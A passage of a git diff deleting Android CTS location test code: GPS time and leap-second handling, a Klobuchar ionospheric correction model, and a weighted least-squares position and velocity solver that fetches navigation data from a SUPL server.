-  public GpsTime(int year, int month, int day, int hour, int minute, double second) {
-    ZonedDateTime utcDateTime = getZonedDateTimeUTC(year, month, day, hour, minute,
-        (int) second, (int) ((second * nanoSecPerSec) % nanoSecPerSec));
-
-
-    // Since input time is already specify in GPS time, no need to count leap second here.
-    initGpsNanos(utcDateTime);
-
-  }
-
-  /**
-   * Constructor
-   * @param zDateTime is created using GPS time values.
-   */
-  public GpsTime(ZonedDateTime zDateTime) {
-    initGpsNanos(zDateTime);
-  }
-
-  public void initGpsNanos(ZonedDateTime zDateTime){
-    this.gpsNanos = TimeUnit.MILLISECONDS.toNanos(getMillisFromZonedDateTime(zDateTime))
-        - GPS_UTC_EPOCH_OFFSET_NANOS;
-  }
-  /**
-   * Constructor
-   * @param gpsNanos nanoseconds since GPS epoch.
-   */
-  public GpsTime(long gpsNanos) {
-    this.gpsNanos = gpsNanos;
-  }
-
-  /**
-   * Creates a GPS time using a UTC based date and time.
-   * @param zDateTime represents the current time in UTC time, must be after 2009
-   */
-  public static GpsTime fromUtc(ZonedDateTime zDateTime) {
-    return new GpsTime(TimeUnit.MILLISECONDS.toNanos(getMillisFromZonedDateTime(zDateTime))
-            + TimeUnit.SECONDS.toNanos(
-                GpsTime.getLeapSecond(zDateTime) - GPS_UTC_EPOCH_OFFSET_SECONDS));
-  }
-
-  /**
-   * Creates a GPS time based upon the current time.
-   */
-  public static GpsTime now() {
-    ZoneId zone = ZoneId.of("UTC");
-    ZonedDateTime current = ZonedDateTime.now(zone);
-    return fromUtc(current);
-  }
-
-  /**
-   * Creates a GPS time using absolute GPS week number, and the time of week.
-   * @param gpsWeek
-   * @param towSec GPS time of week in second
-   * @return actual time in GpsTime.
-   */
-  public static GpsTime fromWeekTow(int gpsWeek, int towSec) {
-    long nanos = gpsWeek * NANOS_IN_WEEK + TimeUnit.SECONDS.toNanos(towSec);
-    return new GpsTime(nanos);
-  }
-
-  /**
-   * Creates a GPS time using YUMA GPS week number (0..1023), and the time of week.
-   * @param yumaWeek (0..1023)
-   * @param towSec GPS time of week in second
-   * @return actual time in GpsTime.
-   */
-  public static GpsTime fromYumaWeekTow(int yumaWeek, int towSec) {
-    Preconditions.checkArgument(yumaWeek >= 0);
-    Preconditions.checkArgument(yumaWeek < 1024);
-
-    // Estimate the multiplier of current week.
-    ZoneId zone = ZoneId.of("UTC");
-    ZonedDateTime current = ZonedDateTime.now(zone);
-    GpsTime refTime = new GpsTime(current);
-    Pair<Integer, Integer> refWeekSec = refTime.getGpsWeekSecond();
-    int weekMultiplier = refWeekSec.first / 1024;
-
-    int gpsWeek = weekMultiplier * 1024 + yumaWeek;
-    return fromWeekTow(gpsWeek, towSec);
-  }
-
-  public static GpsTime fromTimeSinceGpsEpoch(long gpsSec) {
-    return new GpsTime(TimeUnit.SECONDS.toNanos(gpsSec));
-  }
-
-  /**
-   * Computes leap seconds. Only accurate after 2009.
-   * @param time
-   * @return number of leap seconds since GPS epoch.
-   */
-  public static int getLeapSecond(ZonedDateTime time) {
-    if (LEAP_SECOND_DATE_2017.compareTo(time) <= 0) {
-      return 18;
-    } else if (LEAP_SECOND_DATE_2015.compareTo(time) <= 0) {
-      return 17;
-    } else if (LEAP_SECOND_DATE_2012.compareTo(time) <= 0) {
-      return 16;
-    } else if (LEAP_SECOND_DATE_1981.compareTo(time) <= 0) {
-      // Only correct between 2012/7/1 to 2008/12/31
-      return 15;
-    } else {
-      return 0;
-    }
-  }
-
-  /**
-   * Computes GPS weekly epoch of the reference time.
-   * <p>GPS weekly epoch are defined as of every Sunday 00:00:000 (mor
-   * @param refTime reference time
-   * @return nanoseconds since GPS epoch, for the week epoch.
-   */
-  public static Long getGpsWeekEpochNano(GpsTime refTime) {
-    Pair<Integer, Integer> weekSecond = refTime.getGpsWeekSecond();
-    return weekSecond.first * NANOS_IN_WEEK;
-  }
-
-  /**
-   * @return week count since GPS epoch, and second count since the beginning of
-   *         that week.
-   */
-  public Pair<Integer, Integer> getGpsWeekSecond() {
-    // JAVA/UNIX epoch: January 1, 1970 in msec
-    // GPS epoch: January 6, 1980 in second
-    int week = (int) (gpsNanos / NANOS_IN_WEEK);
-    int second = (int) TimeUnit.NANOSECONDS.toSeconds(gpsNanos % NANOS_IN_WEEK);
-    return Pair.create(week, second);
-  }
-
-  /**
-   * @return week count since GPS epoch, and second count in 0.08 sec
-   *         resolution, 23-bit presentation (required by RRLP.)"
-   */
-  public Pair<Integer, Integer> getGpsWeekTow23b() {
-    // UNIX epoch: January 1, 1970 in msec
-    // GPS epoch: January 6, 1980 in second
-    int week = (int) (gpsNanos / NANOS_IN_WEEK);
-    // 80 millis is 0.08 second.
-    int tow23b = (int) TimeUnit.NANOSECONDS.toMillis(gpsNanos % NANOS_IN_WEEK) / 80;
-    return Pair.create(week, tow23b);
-  }
-
-  /**
-   * @return Day of year in GPS time (GMT time)
-   */
-  public static int getCurrentDayOfYear() {
-    ZoneId zone = ZoneId.of("UTC");
-    ZonedDateTime current = ZonedDateTime.now(zone);
-    // Since current is derived from UTC time, we need to add leap second here.
-    long gpsTimeMillis = getMillisFromZonedDateTime(current)
-        + TimeUnit.SECONDS.toMillis(getLeapSecond(current));
-    ZonedDateTime gpsCurrent = ZonedDateTime.ofInstant(Instant.ofEpochMilli(gpsTimeMillis), ZoneId.of("UTC"));
-    return gpsCurrent.getDayOfYear();
-  }
-
-  /**
-   * @return milliseconds since JAVA/UNIX epoch.
-   */
-  public final long getMillisSinceJavaEpoch() {
-    return TimeUnit.NANOSECONDS.toMillis(gpsNanos + GPS_UTC_EPOCH_OFFSET_NANOS);
-  }
-
-  /**
-   * @return milliseconds since GPS epoch.
-   */
-  public final long getMillisSinceGpsEpoch() {
-    return TimeUnit.NANOSECONDS.toMillis(gpsNanos);
-  }
-
-  /**
-   * @return microseconds since GPS epoch.
-   */
-  public final long getMicrosSinceGpsEpoch() {
-    return TimeUnit.NANOSECONDS.toMicros(gpsNanos);
-  }
-
-  /**
-   * @return nanoseconds since GPS epoch.
-   */
-  public final long getNanosSinceGpsEpoch() {
-    return gpsNanos;
-  }
-
-  /**
-   * @return the GPS time in Calendar.
-   */
-  public Calendar getTimeInCalendar() {
-    return GregorianCalendar.from(getGpsDateTime());
-  }
-
-  /**
-   * @return a ZonedDateTime with leap seconds considered.
-   */
-  public ZonedDateTime getUtcDateTime() {
-    ZonedDateTime gpsDateTime = getGpsDateTime();
-    long gpsMillis = getMillisFromZonedDateTime(gpsDateTime)
-        - TimeUnit.SECONDS.toMillis(getLeapSecond(gpsDateTime));
-    return ZonedDateTime.ofInstant(Instant.ofEpochMilli(gpsMillis), ZoneId.of("UTC"));
-
-  }
-
-  /**
-   * @return a ZonedDateTime based on the pure GPS time (without considering leap second).
-   */
-  public ZonedDateTime getGpsDateTime() {
-    long gpsMillis = TimeUnit.NANOSECONDS.toMillis(gpsNanos + GPS_UTC_EPOCH_OFFSET_NANOS);
-    return ZonedDateTime.ofInstant(Instant.ofEpochMilli(gpsMillis), ZoneId.of("UTC"));
-  }
-
-  /**
-   * Compares two {@code GpsTime} objects temporally.
-   *
-   * @param   other   the {@code GpsTime} to be compared.
-   * @return  the value {@code 0} if this {@code GpsTime} is simultaneous with
-   *          the argument {@code GpsTime}; a value less than {@code 0} if this
-   *          {@code GpsTime} occurs before the argument {@code GpsTime}; and
-   *          a value greater than {@code 0} if this {@code GpsTime} occurs
-   *          after the argument {@code GpsTime} (signed comparison).
-   */
-  @Override
-  public int compareTo(GpsTime other) {
-    return Long.compare(this.getNanosSinceGpsEpoch(), other.getNanosSinceGpsEpoch());
-  }
-
-  @Override
-  public boolean equals(Object other) {
-    if (!(other instanceof GpsTime)) {
-      return false;
-    }
-    GpsTime time = (GpsTime) other;
-    return getNanosSinceGpsEpoch() == time.getNanosSinceGpsEpoch();
-  }
-
-  @Override
-  public int hashCode() {
-    return Longs.hashCode(getNanosSinceGpsEpoch());
-  }
-}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/IonosphericModel.java b/tests/tests/location/src/android/location/cts/psedorange/IonosphericModel.java
deleted file mode 100644
index b61338e..0000000
--- a/tests/tests/location/src/android/location/cts/psedorange/IonosphericModel.java
+++ /dev/null
@@ -1,139 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.pseudorange;
-
-import android.location.cts.pseudorange.Ecef2LlaConverter.GeodeticLlaValues;
-import android.location.cts.pseudorange.EcefToTopocentricConverter.TopocentricAEDValues;
-
-/**
- * Calculate the Ionospheric correction of the pseudorange given the {@code userPosition},
- * {@code satellitePosition}, {@code gpsTimeSeconds} and the ionospheric parameters sent by the
- * satellite {@code alpha} and {@code beta}
- *
- * <p>Source: http://www.navipedia.net/index.php/Klobuchar_Ionospheric_Model and
- * http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=4104345 and
- * http://www.ion.org/museum/files/ACF2A4.pdf
- */
-public class IonosphericModel {
-  /** Center frequency of the L1 band in Hz. */
-  public static final double L1_FREQ_HZ = 10.23 * 1e6 * 154;
-  /** Center frequency of the L2 band in Hz. */
-  public static final double L2_FREQ_HZ = 10.23 * 1e6 * 120;
-  /** Center frequency of the L5 band in Hz. */
-  public static final double L5_FREQ_HZ = 10.23 * 1e6 * 115;
-      
-  private static final double SECONDS_PER_DAY = 86400.0;
-  private static final double PERIOD_OF_DELAY_TRHESHOLD_SECONDS = 72000.0;
-  private static final double IPP_LATITUDE_THRESHOLD_SEMI_CIRCLE = 0.416;
-  private static final double DC_TERM = 5.0e-9;
-  private static final double NORTH_GEOMAGNETIC_POLE_LONGITUDE_RADIANS = 5.08;
-  private static final double GEOMETRIC_LATITUDE_CONSTANT = 0.064;
-  private static final int DELAY_PHASE_TIME_CONSTANT_SECONDS = 50400;
-  private static final int IONO_0_IDX = 0;
-  private static final int IONO_1_IDX = 1;
-  private static final int IONO_2_IDX = 2;
-  private static final int IONO_3_IDX = 3;
-
-  /**
-   * Calculate the Ionospheric correction of the pseudorane in seconds using the Klobuchar
-   * Ionospheric model.
-   */
-  public static double ionoKloboucharCorrectionSeconds(
-      double[] userPositionECEFMeters,
-      double[] satellitePositionECEFMeters,
-      double gpsTOWSeconds,
-      double[] alpha,
-      double[] beta,
-      double frequencyHz) {
-
-    TopocentricAEDValues elevationAndAzimuthRadians = EcefToTopocentricConverter
-        .calculateElAzDistBetween2Points(userPositionECEFMeters, satellitePositionECEFMeters);
-    double elevationSemiCircle = elevationAndAzimuthRadians.elevationRadians / Math.PI;
-    double azimuthSemiCircle = elevationAndAzimuthRadians.azimuthRadians / Math.PI;
-    GeodeticLlaValues latLngAlt = Ecef2LlaConverter.convertECEFToLLACloseForm(
-        userPositionECEFMeters[0], userPositionECEFMeters[1], userPositionECEFMeters[2]);
-    double latitudeUSemiCircle = latLngAlt.latitudeRadians / Math.PI;
-    double longitudeUSemiCircle = latLngAlt.longitudeRadians / Math.PI;
-
-    // earth's centered angle (semi-circles)
-    double earthCentredAngleSemiCirle = 0.0137 / (elevationSemiCircle + 0.11) - 0.022;
-
-    // latitude of the Ionospheric Pierce Point (IPP) (semi-circles)
-    double latitudeISemiCircle =
-        latitudeUSemiCircle + earthCentredAngleSemiCirle * Math.cos(azimuthSemiCircle * Math.PI);
-
-    if (latitudeISemiCircle > IPP_LATITUDE_THRESHOLD_SEMI_CIRCLE) {
-      latitudeISemiCircle = IPP_LATITUDE_THRESHOLD_SEMI_CIRCLE;
-    } else if (latitudeISemiCircle < -IPP_LATITUDE_THRESHOLD_SEMI_CIRCLE) {
-      latitudeISemiCircle = -IPP_LATITUDE_THRESHOLD_SEMI_CIRCLE;
-    }
-
-    // geodetic longitude of the Ionospheric Pierce Point (IPP) (semi-circles)
-    double longitudeISemiCircle = longitudeUSemiCircle + earthCentredAngleSemiCirle
-        * Math.sin(azimuthSemiCircle * Math.PI) / Math.cos(latitudeISemiCircle * Math.PI);
-
-    // geomagnetic latitude of the Ionospheric Pierce Point (IPP) (semi-circles)
-    double geomLatIPPSemiCircle = latitudeISemiCircle + GEOMETRIC_LATITUDE_CONSTANT
-        * Math.cos(longitudeISemiCircle * Math.PI - NORTH_GEOMAGNETIC_POLE_LONGITUDE_RADIANS);
-
-    // local time (sec) at the Ionospheric Pierce Point (IPP)
-    double localTimeSeconds = SECONDS_PER_DAY / 2.0 * longitudeISemiCircle + gpsTOWSeconds;
-    localTimeSeconds %= SECONDS_PER_DAY;
-    if (localTimeSeconds < 0) {
-      localTimeSeconds += SECONDS_PER_DAY;
-    }
-
-    // amplitude of the ionospheric delay (seconds)
-    double amplitudeOfDelaySeconds = alpha[IONO_0_IDX] + alpha[IONO_1_IDX] * geomLatIPPSemiCircle
-        + alpha[IONO_2_IDX] * geomLatIPPSemiCircle * geomLatIPPSemiCircle + alpha[IONO_3_IDX]
-        * geomLatIPPSemiCircle * geomLatIPPSemiCircle * geomLatIPPSemiCircle;
-    if (amplitudeOfDelaySeconds < 0) {
-      amplitudeOfDelaySeconds = 0;
-    }
-
-    // period of ionospheric delay
-    double periodOfDelaySeconds = beta[IONO_0_IDX] + beta[IONO_1_IDX] * geomLatIPPSemiCircle
-        + beta[IONO_2_IDX] * geomLatIPPSemiCircle * geomLatIPPSemiCircle + beta[IONO_3_IDX]
-        * geomLatIPPSemiCircle * geomLatIPPSemiCircle * geomLatIPPSemiCircle;
-    if (periodOfDelaySeconds < PERIOD_OF_DELAY_TRHESHOLD_SECONDS) {
-      periodOfDelaySeconds = PERIOD_OF_DELAY_TRHESHOLD_SECONDS;
-    }
-
-    // phase of ionospheric delay
-    double phaseOfDelayRadians =
-        2 * Math.PI * (localTimeSeconds - DELAY_PHASE_TIME_CONSTANT_SECONDS) / periodOfDelaySeconds;
-
-    // slant factor
-    double slantFactor = 1.0 + 16.0 * Math.pow(0.53 - elevationSemiCircle, 3);
-
-    // ionospheric time delay (seconds)
-    double ionoDelaySeconds;
-
-    if (Math.abs(phaseOfDelayRadians) >= Math.PI / 2.0) {
-      ionoDelaySeconds = DC_TERM * slantFactor;
-    } else {
-      ionoDelaySeconds = (DC_TERM
-          + (1 - Math.pow(phaseOfDelayRadians, 2) / 2.0 + Math.pow(phaseOfDelayRadians, 4) / 24.0)
-          * amplitudeOfDelaySeconds) * slantFactor;
-    }
-    
-    // apply factor for frequency bands other than L1 
-    ionoDelaySeconds *= (L1_FREQ_HZ * L1_FREQ_HZ) / (frequencyHz * frequencyHz);
-
-    return ionoDelaySeconds;
-  }
-}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/PseudorangePositionVelocityFromRealTimeEvents.java b/tests/tests/location/src/android/location/cts/psedorange/PseudorangePositionVelocityFromRealTimeEvents.java
deleted file mode 100644
index 3bf39d8..0000000
--- a/tests/tests/location/src/android/location/cts/psedorange/PseudorangePositionVelocityFromRealTimeEvents.java
+++ /dev/null
@@ -1,388 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.pseudorange;
-
-import android.location.GnssClock;
-import android.location.GnssMeasurement;
-import android.location.GnssMeasurementsEvent;
-import android.location.GnssStatus;
-import android.util.Log;
-import android.location.cts.pseudorange.Ecef2EnuConverter.EnuValues;
-import android.location.cts.pseudorange.Ecef2LlaConverter.GeodeticLlaValues;
-import android.location.cts.nano.Ephemeris.GpsEphemerisProto;
-import android.location.cts.nano.Ephemeris.GpsNavMessageProto;
-import android.location.cts.suplClient.SuplRrlpController;
-import java.io.BufferedReader;
-import java.io.IOException;
-import java.net.UnknownHostException;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Calendar;
-import java.util.List;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Helper class for calculating GPS position and velocity solution using weighted least squares
- * where the raw GPS measurements are parsed as a {@link BufferedReader}.
- *
- */
-public class PseudorangePositionVelocityFromRealTimeEvents {
-
-  private static final String TAG = "PseudorangePositionVelocityFromRealTimeEvents";
-  private static final double SECONDS_PER_NANO = 1.0e-9;
-  private static final int TOW_DECODED_MEASUREMENT_STATE_BIT = 3;
-  /** Average signal travel time from GPS satellite and earth */
-  private static final int VALID_ACCUMULATED_DELTA_RANGE_STATE = 1;
-  private static final int MINIMUM_NUMBER_OF_USEFUL_SATELLITES = 4;
-  private static final int C_TO_N0_THRESHOLD_DB_HZ = 18;
-  /** Maximum possible number of GPS satellites */
-  private static final int MAX_NUMBER_OF_SATELLITES = 32;
-
-  private static final String SUPL_SERVER_NAME = "supl.google.com";
-  private static final int SUPL_SERVER_PORT = 7276;
-
-  private static final double GPS_L5_FREQ_HZ_LOWER_BOUND = 1.164e9;
-  private static final double GPS_L5_FREQ_HZ_UPPER_BOUND = 1.189e9;
-
-  private final double[] mPositionSolutionLatLngDeg = {Double.NaN, Double.NaN, Double.NaN};
-  private final double[] mVelocitySolutionEnuMps = {Double.NaN, Double.NaN, Double.NaN};
-  private final double[] mPositionVelocityUncertaintyEnu = {
-      Double.NaN, Double.NaN, Double.NaN, Double.NaN, Double.NaN, Double.NaN
-  };
-  private boolean mFirstUsefulMeasurementSet = true;
-  private int[] mReferenceLocation = null;
-  private long mLastReceivedSuplMessageTimeMillis = 0;
-  private long mDeltaTimeMillisToMakeSuplRequest = TimeUnit.MINUTES.toMillis(30);
-  private boolean mFirstSuplRequestNeeded = true;
-  private GpsNavMessageProto mGpsNavMessageProtoUsed = null;
-
-  private final UserPositionVelocityWeightedLeastSquare mUserPositionVelocityLeastSquareCalculator =
-      new UserPositionVelocityWeightedLeastSquare();
-  private GpsMeasurement[] mUsefulSatellitesToReceiverMeasurements =
-      new GpsMeasurement[MAX_NUMBER_OF_SATELLITES];
-  private Long[] mUsefulSatellitesToTowNs = new Long[MAX_NUMBER_OF_SATELLITES];
-  private long mLargestTowNs = Long.MIN_VALUE;
-  private double mArrivalTimeSinceGPSWeekNs = 0.0;
-  private int mDayOfYear1To366 = 0;
-  private int mGpsWeekNumber = 0;
-  private long mArrivalTimeSinceGpsEpochNs = 0;
-
-  /**
-   * Computes Weighted least square position and velocity solutions from a received
-   * {@link GnssMeasurementsEvent} and store the result in {@link
-   * PseudorangePositionVelocityFromRealTimeEvents#mPositionSolutionLatLngDeg} and
-   * {@link PseudorangePositionVelocityFromRealTimeEvents#mVelocitySolutionEnuMps}
-   */
-  public void computePositionVelocitySolutionsFromRawMeas(GnssMeasurementsEvent event)
-      throws Exception {
-    if (mReferenceLocation == null) {
-      // If no reference location is received, we can not get navigation message from SUPL and hence
-      // we will not try to compute location.
-      Log.d(TAG, " No reference Location ..... no position is calculated");
-      return;
-    }
-    for (int i = 0; i < MAX_NUMBER_OF_SATELLITES; i++) {
-      mUsefulSatellitesToReceiverMeasurements[i] = null;
-      mUsefulSatellitesToTowNs[i] = null;
-    }
-    
-      GnssClock gnssClock = event.getClock();
-    mArrivalTimeSinceGpsEpochNs = gnssClock.getTimeNanos() - gnssClock.getFullBiasNanos();
-      for (GnssMeasurement measurement : event.getMeasurements()) {
-      // ignore any measurement if it is not from GPS constellation
-      if (measurement.getConstellationType() != GnssStatus.CONSTELLATION_GPS) {
-          continue;
-        }
-
-      if (isGpsL5FrequencyHz(measurement.getCarrierFrequencyHz())) {
-        continue;
-      }
-
-        // ignore raw data if time is zero, if signal to noise ratio is below threshold or if
-        // TOW is not yet decoded
-        if (measurement.getCn0DbHz() >= C_TO_N0_THRESHOLD_DB_HZ
-            && (measurement.getState() & (1L << TOW_DECODED_MEASUREMENT_STATE_BIT)) != 0) {
-          // calculate day of year and Gps week number needed for the least square
-          GpsTime gpsTime = new GpsTime(mArrivalTimeSinceGpsEpochNs);
-          // Gps weekly epoch in Nanoseconds: defined as of every Sunday night at 00:00:000
-          long gpsWeekEpochNs = GpsTime.getGpsWeekEpochNano(gpsTime);
-          mArrivalTimeSinceGPSWeekNs = mArrivalTimeSinceGpsEpochNs - gpsWeekEpochNs;
-          mGpsWeekNumber = gpsTime.getGpsWeekSecond().first;
-          // calculate day of the year between 1 and 366
-          Calendar cal = gpsTime.getTimeInCalendar();
-          mDayOfYear1To366 = cal.get(Calendar.DAY_OF_YEAR);
-
-          long receivedGPSTowNs = measurement.getReceivedSvTimeNanos();
-          if (receivedGPSTowNs > mLargestTowNs) {
-            mLargestTowNs = receivedGPSTowNs;
-          }
-          mUsefulSatellitesToTowNs[measurement.getSvid() - 1] = receivedGPSTowNs;
-          GpsMeasurement gpsReceiverMeasurement =
-              new GpsMeasurement(
-                  (long) mArrivalTimeSinceGPSWeekNs,
-                  measurement.getAccumulatedDeltaRangeMeters(),
-                  measurement.getAccumulatedDeltaRangeState()
-                      == VALID_ACCUMULATED_DELTA_RANGE_STATE,
-                  measurement.getPseudorangeRateMetersPerSecond(),
-                  measurement.getCn0DbHz(),
-                  measurement.getAccumulatedDeltaRangeUncertaintyMeters(),
-                  measurement.getPseudorangeRateUncertaintyMetersPerSecond());
-          mUsefulSatellitesToReceiverMeasurements[measurement.getSvid() - 1] =
-              gpsReceiverMeasurement;
-        }
-      }
-
-    Log.d(TAG, "Using navigation message from SUPL server");
-    if (mFirstSuplRequestNeeded
-        || (System.currentTimeMillis() - mLastReceivedSuplMessageTimeMillis)
-            > mDeltaTimeMillisToMakeSuplRequest) {
-      // The following line is blocking call for SUPL connection and back. But it is fast enough
-      mGpsNavMessageProtoUsed = getSuplNavMessage(mReferenceLocation[0], mReferenceLocation[1]);
-      if (!isEmptyNavMessage(mGpsNavMessageProtoUsed)) {
-        mFirstSuplRequestNeeded = false;
-        mLastReceivedSuplMessageTimeMillis = System.currentTimeMillis();
-      } else {
-        return;
-      }
-    }
-
-
-    // some times the SUPL server returns less satellites than the visible ones, so remove those
-    // visible satellites that are not returned by SUPL
-    for (int i = 0; i < MAX_NUMBER_OF_SATELLITES; i++) {
-      if (mUsefulSatellitesToReceiverMeasurements[i] != null
-          && !navMessageProtoContainsSvid(mGpsNavMessageProtoUsed, i + 1)) {
-        mUsefulSatellitesToReceiverMeasurements[i] = null;
-        mUsefulSatellitesToTowNs[i] = null;
-      }
-    }
-      
-      // calculate the number of useful satellites
-      int numberOfUsefulSatellites = 0;
-      for (int i = 0; i < mUsefulSatellitesToReceiverMeasurements.length; i++) {
-        if (mUsefulSatellitesToReceiverMeasurements[i] != null) {
-          numberOfUsefulSatellites++;
-        }
-      }
-      if (numberOfUsefulSatellites >= MINIMUM_NUMBER_OF_USEFUL_SATELLITES) {
-        // ignore first set of > 4 satellites as they often result in erroneous position
-        if (!mFirstUsefulMeasurementSet) {
-          // start with last known position and velocity of zero. Following the structure:
-          // [X position, Y position, Z position, clock bias,
-          //  X Velocity, Y Velocity, Z Velocity, clock bias rate]
-          double[] positionVeloctySolutionEcef = {0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0};
-          double[] positionVelocityUncertaintyEnu = new double[] {0.0, 0.0, 0.0, 0.0, 0.0, 0.0};
-          performPositionVelocityComputationEcef(
-              mUserPositionVelocityLeastSquareCalculator,
-              mUsefulSatellitesToReceiverMeasurements,
-              mUsefulSatellitesToTowNs,
-              mLargestTowNs,
-              mArrivalTimeSinceGPSWeekNs,
-              mDayOfYear1To366,
-              mGpsWeekNumber,
-              positionVeloctySolutionEcef,
-              positionVelocityUncertaintyEnu);
-          // convert the position solution from ECEF to latitude, longitude and altitude
-          GeodeticLlaValues latLngAlt =
-              Ecef2LlaConverter.convertECEFToLLACloseForm(
-                  positionVeloctySolutionEcef[0],
-                  positionVeloctySolutionEcef[1],
-                  positionVeloctySolutionEcef[2]);
-          mPositionSolutionLatLngDeg[0] = Math.toDegrees(latLngAlt.latitudeRadians);
-          mPositionSolutionLatLngDeg[1] = Math.toDegrees(latLngAlt.longitudeRadians);
-          mPositionSolutionLatLngDeg[2] = latLngAlt.altitudeMeters;
-          mPositionVelocityUncertaintyEnu[0] = positionVelocityUncertaintyEnu[0];
-          mPositionVelocityUncertaintyEnu[1] = positionVelocityUncertaintyEnu[1];
-          mPositionVelocityUncertaintyEnu[2] = positionVelocityUncertaintyEnu[2];
-          Log.d(TAG,
-              "Position Uncertainty ENU Meters :"
-                  + mPositionVelocityUncertaintyEnu[0]
-                  + " "
-                  + mPositionVelocityUncertaintyEnu[1]
-                  + " "
-                  + mPositionVelocityUncertaintyEnu[2]);
-          Log.d(
-              TAG,
-              "Latitude, Longitude, Altitude: "
-                  + mPositionSolutionLatLngDeg[0]
-                  + " "
-                  + mPositionSolutionLatLngDeg[1]
-                  + " "
-                  + mPositionSolutionLatLngDeg[2]);
-          EnuValues velocityEnu = Ecef2EnuConverter.convertEcefToEnu(
-              positionVeloctySolutionEcef[4],
-              positionVeloctySolutionEcef[5],
-              positionVeloctySolutionEcef[6],
-              latLngAlt.latitudeRadians,
-              latLngAlt.longitudeRadians
-          );
-
-          mVelocitySolutionEnuMps[0] = velocityEnu.enuEast;
-          mVelocitySolutionEnuMps[1] = velocityEnu.enuNorth;
-          mVelocitySolutionEnuMps[2] = velocityEnu.enuUP;
-          Log.d(
-              TAG,
-              "Velocity ENU Mps: "
-                  + mVelocitySolutionEnuMps[0]
-                  + " "
-                  + mVelocitySolutionEnuMps[1]
-                  + " "
-                  + mVelocitySolutionEnuMps[2]);
-          mPositionVelocityUncertaintyEnu[3] = positionVelocityUncertaintyEnu[3];
-          mPositionVelocityUncertaintyEnu[4] = positionVelocityUncertaintyEnu[4];
-          mPositionVelocityUncertaintyEnu[5] = positionVelocityUncertaintyEnu[5];
-          Log.d(TAG,
-              "Velocity Uncertainty ENU Mps :"
-                  + mPositionVelocityUncertaintyEnu[3]
-                  + " "
-                  + mPositionVelocityUncertaintyEnu[4]
-                  + " "
-                  + mPositionVelocityUncertaintyEnu[5]);
-        }
-        mFirstUsefulMeasurementSet = false;
-      } else {
-        Log.d(
-            TAG,
-            "Less than four satellites with SNR above threshold visible ... "
-                + "no position is calculated!");
-
-        mPositionSolutionLatLngDeg[0] = Double.NaN;
-        mPositionSolutionLatLngDeg[1] = Double.NaN;
-        mPositionSolutionLatLngDeg[2] = Double.NaN;
-        mVelocitySolutionEnuMps[0] = Double.NaN;
-        mVelocitySolutionEnuMps[1] = Double.NaN;
-        mVelocitySolutionEnuMps[2] = Double.NaN;
-    }
-  }
-
-  private static boolean isGpsL5FrequencyHz(float carrierFrequencyHz) {
-    return carrierFrequencyHz >= GPS_L5_FREQ_HZ_LOWER_BOUND
-            && carrierFrequencyHz <= GPS_L5_FREQ_HZ_UPPER_BOUND;
-  }
-
-  private boolean isEmptyNavMessage(GpsNavMessageProto navMessageProto) {
-    if(navMessageProto.iono == null)return true;
-    if(navMessageProto.ephemerids.length ==0)return true;
-    return  false;
-  }
-
-  private boolean navMessageProtoContainsSvid(GpsNavMessageProto navMessageProto, int svid) {
-    List<GpsEphemerisProto> ephemeridesList =
-        new ArrayList<GpsEphemerisProto>(Arrays.asList(navMessageProto.ephemerids));
-    for (GpsEphemerisProto ephProtoFromList : ephemeridesList) {
-      if (ephProtoFromList.prn == svid) {
-        return true;
-      }
-    }
-    return false;
-  }
-
-  /**
-   * Calculates ECEF least square position and velocity solutions from an array of
-   * {@link GpsMeasurement} in meters and meters per second and store the result in
-   * {@code positionVelocitySolutionEcef}
-   */
-  private void performPositionVelocityComputationEcef(
-      UserPositionVelocityWeightedLeastSquare userPositionVelocityLeastSquare,
-      GpsMeasurement[] usefulSatellitesToReceiverMeasurements,
-      Long[] usefulSatellitesToTOWNs,
-      long largestTowNs,
-      double arrivalTimeSinceGPSWeekNs,
-      int dayOfYear1To366,
-      int gpsWeekNumber,
-      double[] positionVelocitySolutionEcef,
-      double[] positionVelocityUncertaintyEnu)
-      throws Exception {
-
-    List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToPseudorangeMeasurements =
-        UserPositionVelocityWeightedLeastSquare.computePseudorangeAndUncertainties(
-            Arrays.asList(usefulSatellitesToReceiverMeasurements),
-            usefulSatellitesToTOWNs,
-            largestTowNs);
-
-    // calculate iterative least square position solution and velocity solutions
-    userPositionVelocityLeastSquare.calculateUserPositionVelocityLeastSquare(
-        mGpsNavMessageProtoUsed,
-        usefulSatellitesToPseudorangeMeasurements,
-        arrivalTimeSinceGPSWeekNs * SECONDS_PER_NANO,
-        gpsWeekNumber,
-        dayOfYear1To366,
-        positionVelocitySolutionEcef,
-        positionVelocityUncertaintyEnu);
-
-    Log.d(
-        TAG,
-        "Least Square Position Solution in ECEF meters: "
-            + positionVelocitySolutionEcef[0]
-            + " "
-            + positionVelocitySolutionEcef[1]
-            + " "
-            + positionVelocitySolutionEcef[2]);
-    Log.d(TAG, "Estimated Receiver clock offset in meters: " + positionVelocitySolutionEcef[3]);
-
-    Log.d(TAG, "Velocity Solution in ECEF Mps: "
-        + positionVelocitySolutionEcef[4]
-        + " "
-        + positionVelocitySolutionEcef[5]
-        + " "
-        + positionVelocitySolutionEcef[6]);
